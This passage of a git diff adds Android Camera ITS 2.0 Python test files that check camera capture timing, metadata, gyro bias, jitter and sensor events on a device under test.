+    if self.user_params.get('scene'):
+      not_yet_mandated_tests = self.determine_not_yet_mandated_tests(
+          self.dut.serial, self.scene)
+      if self.current_test_info.name in not_yet_mandated_tests[self.scene]:
+        logging.debug('%s is not yet mandated.', self.current_test_info.name)
+        asserts.fail('Not yet mandated test', extras='Not yet mandated test')
+
+
diff --git a/apps/CameraITS2.0/tests/scene0/test_burst_capture.py b/apps/CameraITS2.0/tests/scene0/test_burst_capture.py
new file mode 100644
index 0000000..aeb226f
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene0/test_burst_capture.py
@@ -0,0 +1,58 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import logging
+import os
+
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_TEST_FRAMES = 15
+
+
+class BurstCaptureTest(its_base_test.ItsBaseTest):
+  """Test capture a burst of full size images is fast enough and doesn't timeout.
+
+  This test verifies that the entire capture pipeline can keep up the speed of
+  fullsize capture + CPU read for at least some time.
+  """
+
+  def test_burst_capture(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.backward_compatible(props))
+      req = capture_request_utils.auto_capture_request()
+      caps = cam.do_capture([req] * NUM_TEST_FRAMES)
+      cap = caps[0]
+      img = image_processing_utils.convert_capture_to_rgb_image(
+          cap, props=props)
+      name = os.path.join(self.log_path, NAME)
+      img_name = '%s.jpg' % (name)
+      logging.debug('Image Name: %s', img_name)
+      image_processing_utils.write_image(img, img_name)
+
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene0/test_capture_result_dump.py b/apps/CameraITS2.0/tests/scene0/test_capture_result_dump.py
new file mode 100644
index 0000000..e00df1b
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene0/test_capture_result_dump.py
@@ -0,0 +1,47 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import pprint
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import its_session_utils
+
+
+class CaptureResultDumpTest(its_base_test.ItsBaseTest):
+  """Test that a capture result is returned from a manual capture and dump it.
+  """
+
+  def test_capture_result_dump(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      # Arbitrary capture request exposure values; image content is not
+      # important for this test, only the metadata.
+      props = cam.get_camera_properties()
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.manual_sensor(props))
+
+      req, fmt = capture_request_utils.get_fastest_manual_capture_settings(
+          props)
+      cap = cam.do_capture(req, fmt)
+      pprint.pprint(cap['metadata'])
+
+      # No pass/fail check; test passes if it completes.
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene0/test_gyro_bias.py b/apps/CameraITS2.0/tests/scene0/test_gyro_bias.py
new file mode 100644
index 0000000..20c0af9
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene0/test_gyro_bias.py
@@ -0,0 +1,99 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import logging
+import os
+import time
+
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+import numpy
+
+import its_base_test
+import camera_properties_utils
+import its_session_utils
+
+NAME = os.path.basename(__file__).split('.')[0]
+N = 20  # Number of samples averaged together, in the plot.
+NSEC_TO_SEC = 1E-9
+MEAN_THRESH = 0.01  # PASS/FAIL threshold for gyro mean drift
+VAR_THRESH = 0.001  # PASS/FAIL threshold for gyro variance drift
+
+
+class GyroBiasTest(its_base_test.ItsBaseTest):
+  """Test if the gyro has stable output when device is stationary.
+  """
+
+  def test_gyro_bias(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      # Only run test if the appropriate caps are claimed.
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.sensor_fusion(props) and
+          cam.get_sensors().get('gyro'))
+
+      logging.debug('Collecting gyro events')
+      cam.start_sensor_events()
+      time.sleep(5)
+      gyro_events = cam.get_sensor_events()['gyro']
+
+    nevents = (len(gyro_events) // N) * N
+    gyro_events = gyro_events[:nevents]
+    times = numpy.array([(e['time'] - gyro_events[0]['time'])*NSEC_TO_SEC
+                         for e in gyro_events])
+    xs = numpy.array([e['x'] for e in gyro_events])
+    ys = numpy.array([e['y'] for e in gyro_events])
+    zs = numpy.array([e['z'] for e in gyro_events])
+
+    # Group samples into size-N groups and average each together, to get rid
+    # of individual random spikes in the data.
+    times = times[N // 2::N]
+    xs = xs.reshape(nevents // N, N).mean(1)
+    ys = ys.reshape(nevents // N, N).mean(1)
+    zs = zs.reshape(nevents // N, N).mean(1)
+
+    # add y limits so plot doesn't look like amplified noise
+    y_min = min([numpy.amin(xs), numpy.amin(ys), numpy.amin(zs), -MEAN_THRESH])
+    y_max = max([numpy.amax(xs), numpy.amax(ys), numpy.amax(xs), MEAN_THRESH])
+
+    pylab.plot(times, xs, 'r', label='x')
+    pylab.plot(times, ys, 'g', label='y')
+    pylab.plot(times, zs, 'b', label='z')
+    pylab.title(NAME)
+    pylab.xlabel('Time (seconds)')
+    pylab.ylabel('Gyro readings (mean of %d samples)'%(N))
+    pylab.ylim([y_min, y_max])
+    pylab.ticklabel_format(axis='y', style='sci', scilimits=(-3, -3))
+    pylab.legend()
+    logging.debug('Saving plot')
+    matplotlib.pyplot.savefig('%s_plot.png' % os.path.join(self.log_path, NAME))
+
+    for samples in [xs, ys, zs]:
+      mean = samples.mean()
+      var = numpy.var(samples)
+      logging.debug('mean: %.3e', mean)
+      logging.debug('var: %.3e', var)
+      if mean >= MEAN_THRESH:
+        raise AssertionError(f'mean: {mean}.3e, TOL={MEAN_THRESH}')
+      if var >= VAR_THRESH:
+        raise AssertionError(f'var: {var}.3e, TOL={VAR_THRESH}')
+
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene0/test_jitter.py b/apps/CameraITS2.0/tests/scene0/test_jitter.py
new file mode 100644
index 0000000..8cf82d8
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene0/test_jitter.py
@@ -0,0 +1,97 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import logging
+import os.path
+
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import its_session_utils
+
+_NS_TO_MS = 1.0E-6
+_NAME = os.path.basename(__file__).split('.')[0]
+_START_FRAME = 2  # 1 frame delay to allow faster latency to 1st frame
+_TEST_FPS = 30  # frames per second
+# PASS/FAIL thresholds
+_MIN_AVG_FRAME_DELTA = 30  # at least 30ms delta between frames
+_MAX_INIT_FRAME_DELTA = 100  # no more than 100ms between first 2 frames
+_MAX_VAR_FRAME_DELTA = 0.01  # variance of frame deltas
+_MAX_FRAME_DELTA_JITTER = 0.3  # max ms gap from the average frame delta
+
+
+class JitterTest(its_base_test.ItsBaseTest):
+  """Measure jitter in camera timestamps."""
+
+  def test_jitter(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.sensor_fusion(props))
+
+      req, fmt = capture_request_utils.get_fastest_manual_capture_settings(
+          props)
+      req['android.control.aeTargetFpsRange'] = [_TEST_FPS, _TEST_FPS]
+      caps = cam.do_capture([req] * 50, [fmt])
+
+      # Log the millisecond delta between the start of each exposure
+      tstamps = [c['metadata']['android.sensor.timestamp'] for c in caps]
+      if (tstamps[1]-tstamps[0])*_NS_TO_MS > _MAX_INIT_FRAME_DELTA:
+        raise AssertionError('Initial frame timestamp delta too great! '
+                             f'tstamp[1]: {tstamps[1]}ms, '
+                             f'tstamp[0]: {tstamps[0]}ms, '
+                             f'ATOL: {_MAX_INIT_FRAME_DELTA}ms')
+      deltas = [
+          tstamps[i] - tstamps[i-1] for i in range(_START_FRAME, len(tstamps))
+      ]
+      deltas_ms = [d * _NS_TO_MS for d in deltas]
+      avg = sum(deltas_ms) / len(deltas_ms)
+      var = sum([d * d for d in deltas_ms]) / len(deltas_ms) - avg * avg
+      range0 = min(deltas_ms) - avg
+      range1 = max(deltas_ms) - avg
+
+      logging.debug('Average: %s', avg)
+      logging.debug('Variance: %s', var)
+      logging.debug('Jitter range: %s to %s', range0, range1)
+
+      # Draw a plot.
+      pylab.plot(range(len(deltas_ms)), deltas_ms)
+      pylab.title(_NAME)
+      pylab.xlabel('frame number')
+      pylab.ylabel('jitter (ms)')
+      name = os.path.join(self.log_path, _NAME)
+      matplotlib.pyplot.savefig('%s_deltas.png' % (name))
+
+      # Test for pass/fail.
+      if avg <= _MIN_AVG_FRAME_DELTA:
+        raise AssertionError(f'avg: {avg:.4f}ms, TOL: {_MIN_AVG_FRAME_DELTA}ms')
+      if var >= _MAX_VAR_FRAME_DELTA:
+        raise AssertionError(f'var: {var:.4f}ms, TOL: {_MAX_VAR_FRAME_DELTA}ms')
+      if (abs(range0) >= _MAX_FRAME_DELTA_JITTER or
+          abs(range1) >= _MAX_FRAME_DELTA_JITTER):
+        raise AssertionError(f'range0: {range0:.4f}ms, range1: {range1:.4f}ms, '
+                             f'TOL: {_MAX_FRAME_DELTA_JITTER}')
+
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene0/test_metadata.py b/apps/CameraITS2.0/tests/scene0/test_metadata.py
new file mode 100644
index 0000000..a808d63
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene0/test_metadata.py
@@ -0,0 +1,164 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import logging
+import math
+
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import its_session_utils
+
+
+class MetadataTest(its_base_test.ItsBaseTest):
+  """Test the validity of some metadata entries.
+
+  Looks at the capture results and at the camera characteristics objects.
+  """
+
+  def test_metadata(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      # Arbitrary capture request exposure values; image content is not
+      # important for this test, only the metadata.
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.backward_compatible(props))
+      auto_req = capture_request_utils.auto_capture_request()
+      cap = cam.do_capture(auto_req)
+      md = cap['metadata']
+      self.failed = False
+      logging.debug('Hardware level')
+      logging.debug('Legacy: %s', camera_properties_utils.legacy(props))
+
+      logging.debug('Limited: %s', camera_properties_utils.limited(props))
+      logging.debug('Full or better: %s',
+                    camera_properties_utils.full_or_better(props))
+      logging.debug('Capabilities')
+      logging.debug('Manual sensor: %s',
+                    camera_properties_utils.manual_sensor(props))
+      logging.debug('Manual post-proc: %s',
+                    camera_properties_utils.manual_post_proc(props))
+      logging.debug('Raw: %s', camera_properties_utils.raw(props))
+      logging.debug('Sensor fusion: %s',
+                    camera_properties_utils.sensor_fusion(props))
+
+      check(self, 'android.info.supportedHardwareLevel' in props,
+            'android.info.supportedHardwareLevel in props')
+      check(self, props['android.info.supportedHardwareLevel'] is not None,
+            'props[android.info.supportedHardwareLevel] is not None')
+      check(self, props['android.info.supportedHardwareLevel'] in [0, 1, 2, 3],
+            'props[android.info.supportedHardwareLevel] in [0, 1, 2, 3]')
+      manual_sensor = camera_properties_utils.manual_sensor(props)
+      # Test: rollingShutterSkew, and frameDuration tags must all be present,
+      # and rollingShutterSkew must be greater than zero and smaller than all
+      # of the possible frame durations.
+      if manual_sensor:
+        check(self, 'android.sensor.frameDuration' in md,
+              'md.has_key("android.sensor.frameDuration")')
+        check(self, md['android.sensor.frameDuration'] is not None,
+              'md["android.sensor.frameDuration"] is not None')
+        check(self, md['android.sensor.rollingShutterSkew'] > 0,
+              'md["android.sensor.rollingShutterSkew"] > 0')
+        check(self, md['android.sensor.frameDuration'] > 0,
+              'md["android.sensor.frameDuration"] > 0')
+        check(
+            self, md['android.sensor.rollingShutterSkew'] <=
+            md['android.sensor.frameDuration'],
+            ('md["android.sensor.rollingShutterSkew"] <= '
+             'md["android.sensor.frameDuration"]'))
+        logging.debug('frameDuration: %d ns',
+                      md['android.sensor.frameDuration'])
+
+      check(self, 'android.sensor.rollingShutterSkew' in md,
+            'md.has_key("android.sensor.rollingShutterSkew")')
+      check(self, md['android.sensor.rollingShutterSkew'] is not None,
+            'md["android.sensor.rollingShutterSkew"] is not None')
+      logging.debug('rollingShutterSkew: %d ns',
+                    md['android.sensor.rollingShutterSkew'])
+
+      # Test: timestampSource must be a valid value.
+      check(self, 'android.sensor.info.timestampSource' in props,
+            'props.has_key("android.sensor.info.timestampSource")')
+      check(self, props['android.sensor.info.timestampSource'] is not None,
+            'props["android.sensor.info.timestampSource"] is not None')
+      check(self, props['android.sensor.info.timestampSource'] in [0, 1],
+            'props["android.sensor.info.timestampSource"] in [0,1]')
+
+      # Test: croppingType must be a valid value, and for full devices, it
+      # must be FREEFORM=1.
+      check(self, 'android.scaler.croppingType' in props,
+            'props.has_key("android.scaler.croppingType")')
+      check(self, props['android.scaler.croppingType'] is not None,
+            'props["android.scaler.croppingType"] is not None')
+      check(self, props['android.scaler.croppingType'] in [0, 1],
+            'props["android.scaler.croppingType"] in [0,1]')
+
+      # Test: android.sensor.blackLevelPattern exists for RAW and is not None
+      if camera_properties_utils.raw(props):
+        check(self, 'android.sensor.blackLevelPattern' in props,
+              'props.has_key("android.sensor.blackLevelPattern")')
+        check(self, props['android.sensor.blackLevelPattern'] is not None,
+              'props["android.sensor.blackLevelPattern"] is not None')
+
+      assert not self.failed
+
+      if not camera_properties_utils.legacy(props):
+        # Test: pixel_pitch, FOV, and hyperfocal distance are reasonable
+        fmts = props['android.scaler.streamConfigurationMap'][
+            'availableStreamConfigurations']
+        fmts = sorted(
+            fmts, key=lambda k: k['width'] * k['height'], reverse=True)
+        sensor_size = props['android.sensor.info.physicalSize']
+        pixel_pitch_h = (sensor_size['height'] / fmts[0]['height'] * 1E3)
+        pixel_pitch_w = (sensor_size['width'] / fmts[0]['width'] * 1E3)
+        logging.debug('Assert pixel_pitch WxH: %.2f um, %.2f um', pixel_pitch_w,
+                      pixel_pitch_h)
+        assert 0.7 <= pixel_pitch_w <= 10
+        assert 0.7 <= pixel_pitch_h <= 10
+        assert 0.333 <= pixel_pitch_w/pixel_pitch_h <= 3.0
+
+        diag = math.sqrt(sensor_size['height']**2 + sensor_size['width']**2)
+        fl = md['android.lens.focalLength']
+        logging.debug('Focal length: %.3f', fl)
+        fov = 2 * math.degrees(math.atan(diag / (2 * fl)))
+        logging.debug('Assert field of view: %.1f degrees', fov)
+        assert 30 <= fov <= 130
+
+        if camera_properties_utils.lens_approx_calibrated(props):
+          diopter_hyperfocal = props['android.lens.info.hyperfocalDistance']
+          if diopter_hyperfocal != 0.0:
+            hyperfocal = 1.0 / diopter_hyperfocal
+            logging.debug('Assert hyperfocal distance: %.2f m', hyperfocal)
+            assert 0.02 <= hyperfocal
+
+        logging.debug('Minimum focus distance: %3.f',
+                      props['android.lens.info.minimumFocusDistance'])
+
+
+def check(self, expr, msg):
+  if expr:
+    logging.debug('Passed>>%s', msg)
+  else:
+    logging.debug('Failed>>%s', msg)
+    self.failed = True
+
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene0/test_param_sensitivity_burst.py b/apps/CameraITS2.0/tests/scene0/test_param_sensitivity_burst.py
new file mode 100644
index 0000000..76bfb4d
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene0/test_param_sensitivity_burst.py
@@ -0,0 +1,65 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import its_session_utils
+
+NUM_STEPS = 3
+ERROR_TOLERANCE = 0.96  # Allow ISO to be rounded down by 4%
+
+
+class ParamSensitivityBurstTest(its_base_test.ItsBaseTest):
+  """Test android.sensor.sensitivity parameter applied properly in burst.
+
+  Inspects the output metadata only (not the image data).
+  """
+
+  def test_param_sensitivity_burst(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.per_frame_control(props))
+
+      sens_range = props['android.sensor.info.sensitivityRange']
+      sens_step = (sens_range[1] - sens_range[0]) // NUM_STEPS
+      sens_list = range(sens_range[0], sens_range[1], sens_step)
+      exp = min(props['android.sensor.info.exposureTimeRange'])
+      assert exp != 0
+      reqs = [
+          capture_request_utils.manual_capture_request(s, exp)
+          for s in sens_list
+      ]
+      _, fmt = capture_request_utils.get_fastest_manual_capture_settings(props)
+
+      caps = cam.do_capture(reqs, fmt)
+      for i, cap in enumerate(caps):
+        s_req = sens_list[i]
+        s_res = cap['metadata']['android.sensor.sensitivity']
+        msg = 's_write: %d, s_read: %d, TOL: %.2f' % (s_req, s_res,
+                                                      ERROR_TOLERANCE)
+        assert s_req >= s_res, msg
+        assert s_res / float(s_req) > ERROR_TOLERANCE, msg
+
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene0/test_read_write.py b/apps/CameraITS2.0/tests/scene0/test_read_write.py
new file mode 100644
index 0000000..98359be
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene0/test_read_write.py
@@ -0,0 +1,141 @@
+# Copyright 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import logging
+import os.path
+
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import its_session_utils
+
+
+NAME = os.path.basename(__file__).split('.')[0]
+# Spec to be within 3% but not over for exposure in capture vs exposure request.
+RTOL_EXP_GAIN = 0.97
+TEST_EXP_RANGE = [6E6, 1E9]  # ns [6ms, 1s]
+
+
+class ReadWriteTest(its_base_test.ItsBaseTest):
+  """Test that the device will write/read correct exp/gain values.
+  """
+
+  def test_read_write(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.per_frame_control(props))
+
+      valid_formats = ['yuv', 'jpg']
+      if camera_properties_utils.raw16(props):
+        valid_formats.insert(0, 'raw')
+      # grab exp/gain ranges from camera
+      sensor_exp_range = props['android.sensor.info.exposureTimeRange']
+      sens_range = props['android.sensor.info.sensitivityRange']
+      logging.debug('sensor exposure time range: %s', sensor_exp_range)
+      logging.debug('sensor sensitivity range: %s', sens_range)
+
+      # determine if exposure test range is within sensor reported range
+      assert sensor_exp_range[0] != 0
+      exp_range = []
+      if sensor_exp_range[0] < TEST_EXP_RANGE[0]:
+        exp_range.append(TEST_EXP_RANGE[0])
+      else:
+        exp_range.append(sensor_exp_range[0])
+      if sensor_exp_range[1] > TEST_EXP_RANGE[1]:
+        exp_range.append(TEST_EXP_RANGE[1])
+      else:
+        exp_range.append(sensor_exp_range[1])
+
+      data = {}
+      # build requests
+      for fmt in valid_formats:
+        logging.debug('format: %s', fmt)
+        size = capture_request_utils.get_available_output_sizes(fmt, props)[-1]
+        out_surface = {'width': size[0], 'height': size[1], 'format': fmt}
+        # pylint: disable=protected-access
+        if cam._hidden_physical_id:
+          out_surface['physicalCamera'] = cam._hidden_physical_id
+        reqs = []
+        index_list = []
+        for exp in exp_range:
+          for sens in sens_range:
+            reqs.append(capture_request_utils.manual_capture_request(sens, exp))
+            index_list.append((fmt, exp, sens))
+            logging.debug('exp_write: %d, sens_write: %d', exp, sens)
+
+        # take shots
+        caps = cam.do_capture(reqs, out_surface)
+
+        # extract exp/sensitivity data
+        for i, cap in enumerate(caps):
+          exposure_read = cap['metadata']['android.sensor.exposureTime']
+          sensitivity_read = cap['metadata']['android.sensor.sensitivity']
+          data[index_list[i]] = (fmt, exposure_read, sensitivity_read)
+
+      # check read/write match across all shots
+      e_failed = []
+      s_failed = []
+      for fmt_write in valid_formats:
+        for e_write in exp_range:
+          for s_write in sens_range:
+            fmt_read, e_read, s_read = data[(fmt_write, e_write, s_write)]
+            if (e_write < e_read or e_read / float(e_write) <= RTOL_EXP_GAIN):
+              e_failed.append({
+                  'format': fmt_read,
+                  'e_write': e_write,
+                  'e_read': e_read,
+                  's_write': s_write,
+                  's_read': s_read
+              })
+            if (s_write < s_read or s_read / float(s_write) <= RTOL_EXP_GAIN):
+              s_failed.append({
+                  'format': fmt_read,
+                  'e_write': e_write,
+                  'e_read': e_read,
+                  's_write': s_write,
+                  's_read': s_read
+              })
+
+        # print results
+        if e_failed:
+          logging.debug('FAILs for exposure time')
+          for fail in e_failed:
+            logging.debug('format: %s, e_write: %d, e_read: %d, RTOL: %.2f, ',
+                          fail['format'], fail['e_write'], fail['e_read'],
+                          RTOL_EXP_GAIN)
+            logging.debug('s_write: %d, s_read: %d, RTOL: %.2f',
+                          fail['s_write'], fail['s_read'], RTOL_EXP_GAIN)
+        if s_failed:
+          logging.debug('FAILs for sensitivity(ISO)')
+          for fail in s_failed:
+            logging.debug('format: %s, s_write: %d, s_read: %d, RTOL: %.2f, ',
+                          fail['format'], fail['s_write'], fail['s_read'],
+                          RTOL_EXP_GAIN)
+            logging.debug('e_write: %d, e_read: %d, RTOL: %.2f',
+                          fail['e_write'], fail['e_read'], RTOL_EXP_GAIN)
+
+        # assert PASS/FAIL
+        assert not e_failed + s_failed
+
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene0/test_sensor_events.py b/apps/CameraITS2.0/tests/scene0/test_sensor_events.py
new file mode 100644
index 0000000..fb4a843
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene0/test_sensor_events.py
@@ -0,0 +1,59 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import logging
+import time
+
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import its_session_utils
+
+
+class SensorEventTest(its_base_test.ItsBaseTest):
+  """Basic test to query and print out sensor events.
+
+  Test will only work if the screen is on (i.e.) the device isn't in standby.
+  Pass if some of each event are received.
+  """
+
+  def test_sensor_events(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      # Only run test if the appropriate caps are claimed.
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.sensor_fusion(props))
+
+      sensors = cam.get_sensors()
+      cam.start_sensor_events()
+      time.sleep(1)
+      events = cam.get_sensor_events()
+      logging.debug('Events over 1s: %d gyro, %d accel, %d mag',
+                    len(events['gyro']), len(events['accel']),
+                    len(events['mag']))
+      for key, existing in sensors.items():
+        # Vibrator does not return any sensor event. b/142653973
+        if existing and key != 'vibrator':
+          e_msg = 'Sensor %s has no events!' % key
+          # Check len(events[key]) > 0
+          assert events[key], e_msg
+
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene0/test_solid_color_test_pattern.py b/apps/CameraITS2.0/tests/scene0/test_solid_color_test_pattern.py
new file mode 100644
index 0000000..3edcc2f
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene0/test_solid_color_test_pattern.py
@@ -0,0 +1,125 @@
+# Copyright 2021 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import logging
+import os
+
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+
+_CH_TOL = 4E-3  # ~1/255 DN in [0:1]
+_OFF = 0x00000000
+_SAT = 0xFFFFFFFF
+_NAME = os.path.basename(__file__).split('.')[0]
+_SHARPNESS_TOL = 0.1
+_NUM_FRAMES = 4  # buffer a few frames to eliminate need for PER_FRAME_CONTROL
+# frozendict not used below as it requires import on host after port to AOSP
+_BLACK = {'color': 'BLACK', 'RGGB': (_OFF, _OFF, _OFF, _OFF), 'RGB': (0, 0, 0)}
+_WHITE = {'color': 'WHITE', 'RGGB': (_SAT, _SAT, _SAT, _SAT), 'RGB': (1, 1, 1)}
+_RED = {'color': 'RED', 'RGGB': (_SAT, _OFF, _OFF, _OFF), 'RGB': (1, 0, 0)}
+_GREEN = {'color': 'GREEN', 'RGGB': (_OFF, _SAT, _SAT, _OFF), 'RGB': (0, 1, 0)}
+_BLUE = {'color': 'BLUE', 'RGGB': (_OFF, _OFF, _OFF, _SAT), 'RGB': (0, 0, 1)}
+_COLORS_CHECKED_RGB = (_BLACK, _WHITE, _RED, _GREEN, _BLUE)
+_COLORS_CHECKED_MONO = (_BLACK, _WHITE)
+
+
+def check_solid_color(img, exp_values):
+  """Checks solid color test pattern image matches expected values.
+
+  Args:
+    img: capture converted to RGB image
+    exp_values: list of RGB [0:1] expected values
+  """
+  logging.debug('Checking solid test pattern w/ RGB values %s', str(exp_values))
+  rgb_means = image_processing_utils.compute_image_means(img)
+  logging.debug('Captured frame averages: %s', str(rgb_means))
+  rgb_vars = image_processing_utils.compute_image_variances(img)
+  logging.debug('Capture frame variances: %s', str(rgb_vars))
+  if not np.allclose(rgb_means, exp_values, atol=_CH_TOL):
